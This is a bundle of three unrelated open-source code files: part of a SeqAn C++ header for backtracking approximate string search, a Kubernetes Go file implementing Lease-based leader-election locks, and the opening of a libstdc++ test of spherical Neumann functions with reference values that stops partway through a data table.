_getMinScore(Finder_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<EditDistance, TSpec> > const & finder)
{
typedef Backtracking<EditDistance, TSpec> TBacktracking;
typedef typename VertexScore_<TBacktracking>::ConstType TVertexScore;
TVertexScore column = back(finder.scoreStack);
// Return the min value in column.
return value(std::min_element(begin(column, Standard()), end(column, Standard())));
}
// ----------------------------------------------------------------------------
// Function _getScore()
// ----------------------------------------------------------------------------
template <typename TText, typename TTextIndexSpec, typename TPattern, typename TPatternIndexSpec, typename TSpec>
inline typename Score_<Backtracking<HammingDistance, TSpec> >::Type
_getScore(Finder_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<HammingDistance, TSpec> > const & finder)
{
// Return the last value.
return back(finder.scoreStack);
}
template <typename TText, typename TTextIndexSpec, typename TPattern, typename TPatternIndexSpec, typename TSpec>
inline typename Score_<Backtracking<EditDistance, TSpec> >::Type
_getScore(Finder_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<EditDistance, TSpec> > const & finder)
{
// Return the value of last cell in column.
return back(back(finder.scoreStack));
}
// ----------------------------------------------------------------------------
// Function _textIterator()
// ----------------------------------------------------------------------------
template <typename TText, typename TTextIndexSpec, typename TPattern, typename TPatternIndexSpec, typename TDistance, typename TSpec>
inline
typename TextIterator_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<TDistance, TSpec> >::Type &
_textIterator(Finder_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<TDistance, TSpec> > & finder)
{
return back(finder.textStack);
}
template <typename TText, typename TTextIndexSpec, typename TPattern, typename TPatternIndexSpec, typename TDistance, typename TSpec>
inline
typename TextIterator_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<TDistance, TSpec> >::Type const &
_textIterator(Finder_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<TDistance, TSpec> > const & finder)
{
return back(finder.textStack);
}
// ----------------------------------------------------------------------------
// Function _patternIterator()
// ----------------------------------------------------------------------------
template <typename TText, typename TTextIndexSpec, typename TPattern, typename TPatternIndexSpec, typename TDistance, typename TSpec>
inline
typename PatternIterator_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<TDistance, TSpec> >::Type &
_patternIterator(Finder_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<TDistance, TSpec> > & finder)
{
return back(finder.patternStack);
}
template <typename TText, typename TTextIndexSpec, typename TPattern, typename TPatternIndexSpec, typename TDistance, typename TSpec>
inline
typename PatternIterator_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<TDistance, TSpec> >::Type const &
_patternIterator(Finder_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<TDistance, TSpec> > const & finder)
{
return back(finder.patternStack);
}
// ----------------------------------------------------------------------------
// Function _inTerminalState()
// ----------------------------------------------------------------------------
template <typename TText, typename TTextIndexSpec, typename TPattern, typename TPatternIndexSpec, typename TDistance, typename TSpec, typename TStage>
inline bool
_inTerminalState(Finder_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<TDistance, TSpec> > const & /* finder */,
TStage const & /* tag */)
{
// The current state is not terminal by default.
return false;
}
template <typename TText, typename TTextIndexSpec, typename TPattern, typename TPatternIndexSpec, typename TSpec>
inline bool
_inTerminalState(Finder_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<HammingDistance, TSpec> > const & finder,
StageFinal_ const & /* tag */)
{
// Is the score within the max score?
return _getScore(finder) <= finder.maxScore;
}
template <typename TText, typename TTextIndexSpec, typename TPattern, typename TPatternIndexSpec, typename TSpec>
inline bool
_inTerminalState(Finder_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<EditDistance, TSpec> > const & finder,
StageLower_ const & /* tag */)
{
// Is the score within the max score?
return _getScore(finder) <= finder.maxScore;
}
template <typename TText, typename TTextIndexSpec, typename TPattern, typename TPatternIndexSpec, typename TSpec>
inline bool
_inTerminalState(Finder_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<EditDistance, TSpec> > const & finder,
StageFinal_ const & /* tag */)
{
// Is the score within the max score?
return _getScore(finder) <= finder.maxScore;
}
// ----------------------------------------------------------------------------
// Function _inActiveState()
// ----------------------------------------------------------------------------
template <typename TText, typename TTextIndexSpec, typename TPattern, typename TPatternIndexSpec, typename TDistance, typename TSpec, typename TStage>
inline bool
_inActiveState(Finder_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<TDistance, TSpec> > const & finder,
TStage const & /* tag */)
{
// Is the minimum score within the max score?
return _getMinScore(finder) <= finder.maxScore;
}
template <typename TText, typename TTextIndexSpec, typename TPattern, typename TPatternIndexSpec, typename TSpec>
inline bool
_inActiveState(Finder_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<HammingDistance, TSpec> > const & /* finder */,
StageExact_ const & /* tag */)
{
// Exact search only walks through active states.
return true;
}
// ----------------------------------------------------------------------------
// Function _moveToExactStage()
// ----------------------------------------------------------------------------
template <typename TText, typename TTextIndexSpec, typename TPattern, typename TPatternIndexSpec, typename TDistance, typename TSpec, typename TStage>
inline bool
_moveToStageExact(Finder_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<TDistance, TSpec> > const & /* finder */,
TStage const & /* tag */)
{
// By default there is no exact stage.
return false;
}
template <typename TText, typename TTextIndexSpec, typename TPattern, typename TPatternIndexSpec, typename TSpec>
inline bool
_moveToStageExact(Finder_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<HammingDistance, TSpec> > const & finder,
StageInitial_ const & /* tag */)
{
// Was the maximum score attained?
return _getMinScore(finder) == finder.maxScore;
}
//template <typename TText, typename TTextIndexSpec, typename TPattern, typename TPatternIndexSpec, typename TSpec, typename TStage>
//inline bool
//_moveToStageExact(Finder_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<EditDistance, TSpec> > const & finder,
// TStage const & /* tag */)
//{
// // TODO(esiragusa): Implement exact search speedup for EditDistance.
// return _getMinScore(finder) == finder.maxScore;
//}
// ----------------------------------------------------------------------------
// Function _moveToNextStage()
// ----------------------------------------------------------------------------
template <typename TText, typename TTextIndexSpec, typename TPattern, typename TPatternIndexSpec, typename TDistance, typename TSpec, typename TStage>
inline bool
_moveToNextStage(Finder_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<TDistance, TSpec> > const & /* finder */,
TStage const & /* tag */)
{
// By default there is no next stage.
return false;
}
template <typename TText, typename TTextIndexSpec, typename TPattern, typename TPatternIndexSpec, typename TSpec>
inline bool
_moveToNextStage(Finder_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<HammingDistance, TSpec> > const & finder,
StageInitial_ const & /* tag */)
{
return isRightTerminal(back(finder.patternStack));
}
template <typename TText, typename TTextIndexSpec, typename TPattern, typename TPatternIndexSpec, typename TSpec>
inline bool
_moveToNextStage(Finder_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<HammingDistance, TSpec> > const & finder,
StageExact_ const & /* tag */)
{
return isRightTerminal(back(finder.patternStack));
}
template <typename TText, typename TTextIndexSpec, typename TPattern, typename TPatternIndexSpec, typename TSpec>
inline bool
_moveToNextStage(Finder_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<EditDistance, TSpec> > const & finder,
StageInitial_ const & /* tag */)
{
// Move to upper stage when k pattern symbols have been consumed.
return (repLength(back(finder.patternStack)) >= finder.maxScore) || isRightTerminal(back(finder.patternStack));
}
template <typename TText, typename TTextIndexSpec, typename TPattern, typename TPatternIndexSpec, typename TSpec>
inline bool
_moveToNextStage(Finder_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<EditDistance, TSpec> > const & finder,
StageUpper_ const & /* tag */)
{
// Move to diagonal stage when the diagonal has size 2k + 1.
return (length(back(finder.scoreStack)) >= 2u * finder.maxScore + 1u) || isRightTerminal(back(finder.patternStack));
}
template <typename TText, typename TTextIndexSpec, typename TPattern, typename TPatternIndexSpec, typename TSpec>
inline bool
_moveToNextStage(Finder_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<EditDistance, TSpec> > const & finder,
StageDiagonal_ const & /* tag */)
{
// Move to lower stage when all pattern symbols have been consumed.
return isRightTerminal(back(finder.patternStack));
}
template <typename TText, typename TTextIndexSpec, typename TPattern, typename TPatternIndexSpec, typename TSpec>
inline bool
_moveToNextStage(Finder_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<EditDistance, TSpec> > const & finder,
StageLower_ const & /* tag */)
{
// Move to final stage when there is only one cell left to compute.
return length(back(finder.scoreStack)) <= 2;
}
// ----------------------------------------------------------------------------
// Function _stayInCurrentStage()
// ----------------------------------------------------------------------------
template <typename TText, typename TTextIndexSpec, typename TPattern, typename TPatternIndexSpec, typename TDistance, typename TSpec, typename TStage>
inline bool
_stayInCurrentStage(Finder_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<TDistance, TSpec> > const & /* finder */,
TStage const & /* tag */)
{
// Stay in the current stage by default.
return true;
}
template <typename TText, typename TTextIndexSpec, typename TPattern, typename TPatternIndexSpec, typename TSpec>
inline bool
_stayInCurrentStage(Finder_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<EditDistance, TSpec> > const & finder,
StageInitial_ const & /* tag */)
{
return repLength(back(finder.patternStack)) < finder.maxScore;
}
template <typename TText, typename TTextIndexSpec, typename TPattern, typename TPatternIndexSpec, typename TSpec>
inline bool
_stayInCurrentStage(Finder_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<EditDistance, TSpec> > const & finder,
StageUpper_ const & /* tag */)
{
return length(back(finder.scoreStack)) < 2u * finder.maxScore + 1u;
}
template <typename TText, typename TTextIndexSpec, typename TPattern, typename TPatternIndexSpec, typename TSpec>
inline bool
_stayInCurrentStage(Finder_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<EditDistance, TSpec> > const & finder,
StageLower_ const & /* tag */)
{
return length(back(finder.scoreStack)) > 2;
}
// ----------------------------------------------------------------------------
// Functions _print*()
// ----------------------------------------------------------------------------
// NOTE(esiragusa): Debug functions.
template <typename TText, typename TTextIndexSpec, typename TPattern, typename TPatternIndexSpec, typename TDistance, typename TSpec, typename TStage>
inline void
_printCall(Finder_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<TDistance, TSpec> > const & finder,
TStage const & /* tag */)
{
std::cout << "call: "; _printFindSignature(finder, TStage());
std::cout << "past text: " << representative(back(finder.textStack)) << std::endl;
std::cout << "past pattern: " << representative(back(finder.patternStack)) << std::endl;
}
template <typename TText, typename TTextIndexSpec, typename TPattern, typename TPatternIndexSpec, typename TDistance, typename TSpec, typename TStage>
inline void
_printReturn(Finder_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<TDistance, TSpec> > const & finder,
TStage const & /* tag */)
{
std::cout << "return: "; _printFindSignature(finder, TStage());
}
template <typename TText, typename TTextIndexSpec, typename TPattern, typename TPatternIndexSpec, typename TDistance, typename TSpec, typename TStage>
inline void
_printPush(Finder_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<TDistance, TSpec> > const & finder,
TStage const & /* tag */)
{
std::cout << "push: "; _printFindSignature(finder, TStage());
_printState(finder, TStage());
}
template <typename TText, typename TTextIndexSpec, typename TPattern, typename TPatternIndexSpec, typename TDistance, typename TSpec, typename TStage>
inline void
_printPop(Finder_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<TDistance, TSpec> > const & finder,
TStage const & /* tag */)
{
std::cout << "pop: "; _printFindSignature(finder, TStage());
_printState(finder, TStage());
}
template <typename TText, typename TTextIndexSpec, typename TPattern, typename TPatternIndexSpec, typename TDistance, typename TSpec, typename TStage>
inline void
_printFindSignature(Finder_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<TDistance, TSpec> > const & /* finder */,
TStage const & /* tag */)
{
std::cout << "<TDistance, TStage>" << std::endl;
}
template <typename TText, typename TTextIndexSpec, typename TPattern, typename TPatternIndexSpec, typename TSpec>
inline void
_printFindSignature(Finder_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<HammingDistance, TSpec> > const & /* finder */,
StageInitial_ const & /* tag */)
{
std::cout << "<HammingDistance, StageInitial>" << std::endl;
}
template <typename TText, typename TTextIndexSpec, typename TPattern, typename TPatternIndexSpec, typename TSpec>
inline void
_printFindSignature(Finder_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<HammingDistance, TSpec> > const & /* finder */,
StageFinal_ const & /* tag */)
{
std::cout << "<HammingDistance, StageFinal>" << std::endl;
}
template <typename TText, typename TTextIndexSpec, typename TPattern, typename TPatternIndexSpec, typename TSpec>
inline void
_printFindSignature(Finder_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<HammingDistance, TSpec> > const & /* finder */,
StageExact_ const & /* tag */)
{
std::cout << "<HammingDistance, StageExact>" << std::endl;
}
template <typename TText, typename TTextIndexSpec, typename TPattern, typename TPatternIndexSpec, typename TSpec>
inline void
_printFindSignature(Finder_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<EditDistance, TSpec> > const & /* finder */,
StageInitial_ const & /* tag */)
{
std::cout << "<EditDistance, StageInitial>" << std::endl;
}
template <typename TText, typename TTextIndexSpec, typename TPattern, typename TPatternIndexSpec, typename TSpec>
inline void
_printFindSignature(Finder_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<EditDistance, TSpec> > const & /* finder */,
StageUpper_ const & /* tag */)
{
std::cout << "<EditDistance, StageUpper>" << std::endl;
}
template <typename TText, typename TTextIndexSpec, typename TPattern, typename TPatternIndexSpec, typename TSpec>
inline void
_printFindSignature(Finder_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<EditDistance, TSpec> > const & /* finder */,
StageDiagonal_ const & /* tag */)
{
std::cout << "<EditDistance, StageDiagonal>" << std::endl;
}
template <typename TText, typename TTextIndexSpec, typename TPattern, typename TPatternIndexSpec, typename TSpec>
inline void
_printFindSignature(Finder_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<EditDistance, TSpec> > const & /* finder */,
StageLower_ const & /* tag */)
{
std::cout << "<EditDistance, StageLower>" << std::endl;
}
template <typename TText, typename TTextIndexSpec, typename TPattern, typename TPatternIndexSpec, typename TSpec>
inline void
_printFindSignature(Finder_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<EditDistance, TSpec> > const & /* finder */,
StageFinal_ const & /* tag */)
{
std::cout << "<EditDistance, StageFinal>" << std::endl;
}
template <typename TText, typename TTextIndexSpec, typename TPattern, typename TPatternIndexSpec, typename TSpec, typename TStage>
inline void
_printState(Finder_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<HammingDistance, TSpec> > const & finder,
TStage const & /* tag */)
{
std::cout << "text: " << parentEdgeLabel(back(finder.textStack)) << std::endl;
std::cout << "pattern: " << parentEdgeLabel(back(finder.patternStack)) << std::endl;
std::cout << "errors: " << static_cast<unsigned>(_getScore(finder)) << std::endl;
}
template <typename TText, typename TTextIndexSpec, typename TPattern, typename TPatternIndexSpec, typename TSpec, typename TStage>
inline void
_printState(Finder_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<EditDistance, TSpec> > const & finder,
TStage const & /* tag */)
{
std::cout << "text: " << parentEdgeLabel(back(finder.textStack)) << std::endl;
std::cout << "pattern: " << parentEdgeLabel(back(finder.patternStack)) << std::endl;
std::cout << "column: " << "|";
std::copy(begin(back(finder.scoreStack), Standard()),
end(back(finder.scoreStack), Standard()),
std::ostream_iterator<int>(std::cout, "|"));
std::cout << std::endl;
}
// ----------------------------------------------------------------------------
// Function _find()
// ----------------------------------------------------------------------------
template <typename TText, typename TTextIndexSpec, typename TPattern, typename TPatternIndexSpec, typename TDistance, typename TSpec, typename TStage, typename TDelegate>
inline void
_find(Finder_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<TDistance, TSpec> > & finder,
TDelegate & delegate,
TStage const & /* tag */)
{
typedef Backtracking<TDistance, TSpec> TBacktracking;
typedef typename NextStage_<TBacktracking, TStage>::Type TNextStage;
#ifdef SEQAN_DEBUG
_printCall(finder, TStage());
#endif
if (_moveToStageExact(finder, TStage()))
{
_find(finder, delegate, StageExact_());
}
else
{
if (_moveToNextStage(finder, TStage()))
{
_find(finder, delegate, TNextStage());
}
if (_stayInCurrentStage(finder, TStage()))
{
if (_inTerminalState(finder, TStage()))
{
// Inversion of control.
delegate(finder);
}
else if (_inActiveState(finder, TStage()))
{
if (_pushState(finder, TStage()))
{
do
{
_find(finder, delegate, TStage());
}
while (_nextState(finder, TStage()));
_popState(finder, TStage());
}
}
}
}
#ifdef SEQAN_DEBUG
_printReturn(finder, TStage());
#endif
}
// ----------------------------------------------------------------------------
// Function _find()
// ----------------------------------------------------------------------------
template <typename TText, typename TTextIndexSpec, typename TPattern, typename TPatternIndexSpec, typename TDistance, typename TSpec, typename TValue, typename TDelegate>
inline void
_find(Finder_<Index<TText, TTextIndexSpec>, Index<TPattern, TPatternIndexSpec>, Backtracking<TDistance, TSpec> > & finder,
Index<TText, TTextIndexSpec> & text,
Index<TPattern, TPatternIndexSpec> & pattern,
TValue maxScore,
TDelegate & delegate)
{
typedef Index<TText, TTextIndexSpec> TTextIndex;
typedef Index<TPattern, TPatternIndexSpec> TPatternIndex;
typedef Backtracking<TDistance, TSpec> TBacktracking;
typedef typename TextIterator_<TTextIndex, TPatternIndex, TBacktracking>::Type TTextIterator;
typedef typename PatternIterator_<TTextIndex, TPatternIndex, TBacktracking>::Type TPatternIterator;
TTextIterator textIt(text);
TPatternIterator patternIt(pattern);
_setScoreThreshold(finder, maxScore);
_initState(finder, textIt, patternIt);
_find(finder, delegate, StageInitial_());
_popState(finder, StageInitial_());
}
}
#endif // #ifndef SEQAN_FIND_BACKTRACKING_MULTIPLE_H_
| {
"pile_set_name": "Github"
} |
/*
Copyright 2018 The Kubernetes Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package resourcelock
import (
"errors"
"fmt"
coordinationv1 "k8s.io/api/coordination/v1"
corev1 "k8s.io/api/core/v1"
metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
coordinationv1client "k8s.io/client-go/kubernetes/typed/coordination/v1"
)
type LeaseLock struct {
// LeaseMeta should contain a Name and a Namespace of a
// LeaseMeta object that the LeaderElector will attempt to lead.
LeaseMeta metav1.ObjectMeta
Client coordinationv1client.LeasesGetter
LockConfig ResourceLockConfig
lease *coordinationv1.Lease
}
// Get returns the election record from a Lease spec
func (ll *LeaseLock) Get() (*LeaderElectionRecord, error) {
var err error
ll.lease, err = ll.Client.Leases(ll.LeaseMeta.Namespace).Get(ll.LeaseMeta.Name, metav1.GetOptions{})
if err != nil {
return nil, err
}
return LeaseSpecToLeaderElectionRecord(&ll.lease.Spec), nil
}
// Create attempts to create a Lease
func (ll *LeaseLock) Create(ler LeaderElectionRecord) error {
var err error
ll.lease, err = ll.Client.Leases(ll.LeaseMeta.Namespace).Create(&coordinationv1.Lease{
ObjectMeta: metav1.ObjectMeta{
Name: ll.LeaseMeta.Name,
Namespace: ll.LeaseMeta.Namespace,
},
Spec: LeaderElectionRecordToLeaseSpec(&ler),
})
return err
}
// Update will update an existing Lease spec.
func (ll *LeaseLock) Update(ler LeaderElectionRecord) error {
if ll.lease == nil {
return errors.New("lease not initialized, call get or create first")
}
ll.lease.Spec = LeaderElectionRecordToLeaseSpec(&ler)
var err error
ll.lease, err = ll.Client.Leases(ll.LeaseMeta.Namespace).Update(ll.lease)
return err
}
// RecordEvent in leader election while adding meta-data
func (ll *LeaseLock) RecordEvent(s string) {
if ll.LockConfig.EventRecorder == nil {
return
}
events := fmt.Sprintf("%v %v", ll.LockConfig.Identity, s)
ll.LockConfig.EventRecorder.Eventf(&coordinationv1.Lease{ObjectMeta: ll.lease.ObjectMeta}, corev1.EventTypeNormal, "LeaderElection", events)
}
// Describe is used to convert details on current resource lock
// into a string
func (ll *LeaseLock) Describe() string {
return fmt.Sprintf("%v/%v", ll.LeaseMeta.Namespace, ll.LeaseMeta.Name)
}
// returns the Identity of the lock
func (ll *LeaseLock) Identity() string {
return ll.LockConfig.Identity
}
func LeaseSpecToLeaderElectionRecord(spec *coordinationv1.LeaseSpec) *LeaderElectionRecord {
holderIdentity := ""
if spec.HolderIdentity != nil {
holderIdentity = *spec.HolderIdentity
}
leaseDurationSeconds := 0
if spec.LeaseDurationSeconds != nil {
leaseDurationSeconds = int(*spec.LeaseDurationSeconds)
}
leaseTransitions := 0
if spec.LeaseTransitions != nil {
leaseTransitions = int(*spec.LeaseTransitions)
}
return &LeaderElectionRecord{
HolderIdentity: holderIdentity,
LeaseDurationSeconds: leaseDurationSeconds,
AcquireTime: metav1.Time{spec.AcquireTime.Time},
RenewTime: metav1.Time{spec.RenewTime.Time},
LeaderTransitions: leaseTransitions,
}
}
func LeaderElectionRecordToLeaseSpec(ler *LeaderElectionRecord) coordinationv1.LeaseSpec {
leaseDurationSeconds := int32(ler.LeaseDurationSeconds)
leaseTransitions := int32(ler.LeaderTransitions)
return coordinationv1.LeaseSpec{
HolderIdentity: &ler.HolderIdentity,
LeaseDurationSeconds: &leaseDurationSeconds,
AcquireTime: &metav1.MicroTime{ler.AcquireTime.Time},
RenewTime: &metav1.MicroTime{ler.RenewTime.Time},
LeaseTransitions: &leaseTransitions,
}
}
| {
"pile_set_name": "Github"
} |
// { dg-do run { target c++11 } }
// { dg-options "-D__STDCPP_WANT_MATH_SPEC_FUNCS__" }
//
// Copyright (C) 2016-2020 Free Software Foundation, Inc.
//
// This file is part of the GNU ISO C++ Library. This library is free
// software; you can redistribute it and/or modify it under the
// terms of the GNU General Public License as published by the
// Free Software Foundation; either version 3, or (at your option)
// any later version.
//
// This library is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this library; see the file COPYING3. If not see
// <http://www.gnu.org/licenses/>.
// sph_neumann
// Compare against values generated by the GNU Scientific Library.
// The GSL can be found on the web: http://www.gnu.org/software/gsl/
#include <limits>
#include <cmath>
#if defined(__TEST_DEBUG)
# include <iostream>
# define VERIFY(A) \
if (!(A)) \
{ \
std::cout << "line " << __LINE__ \
<< " max_abs_frac = " << max_abs_frac \
<< std::endl; \
}
#else
# include <testsuite_hooks.h>
#endif
#include <specfun_testcase.h>
// Test data for n=0.
// max(|f - f_GSL|): 1.3322676295501878e-15 at index 0
// max(|f - f_GSL| / |f_GSL|): 6.3549063142130099e-15
// mean(f - f_GSL): 1.5525775109992422e-17
// variance(f - f_GSL): 1.8100648852545731e-34
// stddev(f - f_GSL): 1.3453865189062112e-17
const testcase_sph_neumann<double>
data001[20] =
{
{ -3.8756496868425789, 0, 0.25000000000000000, 0.0 },
{ -1.7551651237807455, 0, 0.50000000000000000, 0.0 },
{ -0.97558515849842786, 0, 0.75000000000000000, 0.0 },
{ -0.54030230586813977, 0, 1.0000000000000000, 0.0 },
{ -0.25225788991621495, 0, 1.2500000000000000, 0.0 },
{ -0.047158134445135273, 0, 1.5000000000000000, 0.0 },
{ 0.10185488894256690, 0, 1.7500000000000000, 0.0 },
{ 0.20807341827357120, 0, 2.0000000000000000, 0.0 },
{ 0.27918827676566177, 0, 2.2500000000000000, 0.0 },
{ 0.32045744621877348, 0, 2.5000000000000000, 0.0 },
{ 0.33610995586635040, 0, 2.7500000000000000, 0.0 },
{ 0.32999749886681512, 0, 3.0000000000000000, 0.0 },
{ 0.30588605417862963, 0, 3.2500000000000000, 0.0 },
{ 0.26755905351165610, 0, 3.5000000000000000, 0.0 },
{ 0.21881582862388288, 0, 3.7500000000000000, 0.0 },
{ 0.16341090521590299, 0, 4.0000000000000000, 0.0 },
{ 0.10496176233265714, 0, 4.2500000000000000, 0.0 },
{ 0.046843510984617719, 0, 4.5000000000000000, 0.0 },
{ -0.0079162427132582220, 0, 4.7500000000000000, 0.0 },
{ -0.056732437092645263, 0, 5.0000000000000000, 0.0 },
};
const double toler001 = 5.0000000000000039e-13;
// Test data for n=1.
// max(|f - f_GSL|): 3.5527136788005009e-15 at index 0
// max(|f - f_GSL| / |f_GSL|): 5.0269657509879036e-15
// mean(f - f_GSL): -2.8727020762175924e-16
// variance(f - f_GSL): 4.5719762984514500e-33
// stddev(f - f_GSL): 6.7616390752919144e-17
const testcase_sph_neumann<double>
data002[20] =
{
{ -16.492214584388407, 1, 0.25000000000000000, 0.0 },
{ -4.4691813247698970, 1, 0.50000000000000000, 0.0 },
{ -2.2096318913623492, 1, 0.75000000000000000, 0.0 },
{ -1.3817732906760363, 1, 1.0000000000000000, 0.0 },
{ -0.96099400741744090, 1, 1.2500000000000000, 0.0 },
{ -0.69643541403279308, 1, 1.5000000000000000, 0.0 },
{ -0.50407489024649721, 1, 1.7500000000000000, 0.0 },
{ -0.35061200427605527, 1, 2.0000000000000000, 0.0 },
{ -0.22172663116544869, 1, 2.2500000000000000, 0.0 },
{ -0.11120587915407318, 1, 2.5000000000000000, 0.0 },
{ -0.016564013158538646, 1, 2.7500000000000000, 0.0 },
{ 0.062959163602315973, 1, 3.0000000000000000, 0.0 },
{ 0.12740959652576553, 1, 3.2500000000000000, 0.0 },
{ 0.17666922320036457, 1, 3.5000000000000000, 0.0 },
{ 0.21076723929766045, 1, 3.7500000000000000, 0.0 },
{ 0.23005335013095779, 1, 4.0000000000000000, 0.0 },
{ 0.23528261660264485, 1, 4.2500000000000000, 0.0 },
{ 0.22763858414438104, 1, 4.5000000000000000, 0.0 },
{ 0.20871085184465679, 1, 4.7500000000000000, 0.0 },
{ 0.18043836751409864, 1, 5.0000000000000000, 0.0 },
};
const double toler002 = 5.0000000000000039e-13;
// Test data for n=2.
// max(|f - f_GSL|): 1.0658141036401503e-14 at index 1
// max(|f - f_GSL| / |f_GSL|): 1.4758752580536458e-15
// mean(f - f_GSL): -7.2060413192076563e-16
// variance(f - f_GSL): 3.1027271571410419e-32
// stddev(f - f_GSL): 1.7614559764981474e-16
const testcase_sph_neumann<double>
data003[20] =
{
{ -194.03092532581832, 2, 0.25000000000000000, 0.0 },
{ -25.059922824838637, 2, 0.50000000000000000, 0.0 },
{ -7.8629424069509692, 2, 0.75000000000000000, 0.0 },
{ -3.6050175661599688, 2, 1.0000000000000000, 0.0 },
{ -2.0541277278856431, 2, 1.2500000000000000, 0.0 },
{ -1.3457126936204509, 2, 1.5000000000000000, 0.0 },
{ -0.96598327222227631, 2, 1.7500000000000000, 0.0 },
{ -0.73399142468765399, 2, 2.0000000000000000, 0.0 },
{ -0.57482378498626008, 2, 2.2500000000000000, 0.0 },
{ -0.45390450120366133, 2, 2.5000000000000000, 0.0 },
{ -0.35417978840293796, 2, 2.7500000000000000, 0.0 },
{ -0.26703833526449916, 2, 3.0000000000000000, 0.0 },
{ -0.18827719584715374, 2, 3.2500000000000000, 0.0 },
{ -0.11612829076848646, 2, 3.5000000000000000, 0.0 },
{ -0.050202037185754500, 2, 3.7500000000000000, 0.0 },
{ 0.0091291073823153435, 2, 4.0000000000000000, 0.0 },
{ 0.061120084680974532, 2, 4.2500000000000000, 0.0 },
{ 0.10491554511163632, 2, 4.5000000000000000, 0.0 },
{ 0.13973362282567303, 2, 4.7500000000000000, 0.0 },
{ 0.16499545760110443, 2, 5.0000000000000000, 0.0 },
};
const double toler003 = 2.5000000000000020e-13;
// Test data for n=5.
// max(|f - f_GSL|): 4.6566128730773926e-10 at index 0
// max(|f - f_GSL| / |f_GSL|): 7.9314389378952617e-16
// mean(f - f_GSL): -2.3717425245983749e-11
// variance(f - f_GSL): 3.1164189869182792e-23
// stddev(f - f_GSL): 5.5824895762717548e-12
const testcase_sph_neumann<double>
data004[20] =
{
{ -3884190.0626637731, 5, 0.25000000000000000, 0.0 },
{ -61327.563166980639, 5, 0.50000000000000000, 0.0 },
{ -5478.9529323190836, 5, 0.75000000000000000, 0.0 },
{ -999.44034339223640, 5, 1.0000000000000000, 0.0 },
{ -270.49720502942358, 5, 1.2500000000000000, 0.0 },
{ -94.236110085232468, 5, 1.5000000000000000, 0.0 },
{ -39.182827786584333, 5, 1.7500000000000000, 0.0 },
{ -18.591445311190984, 5, 2.0000000000000000, 0.0 },
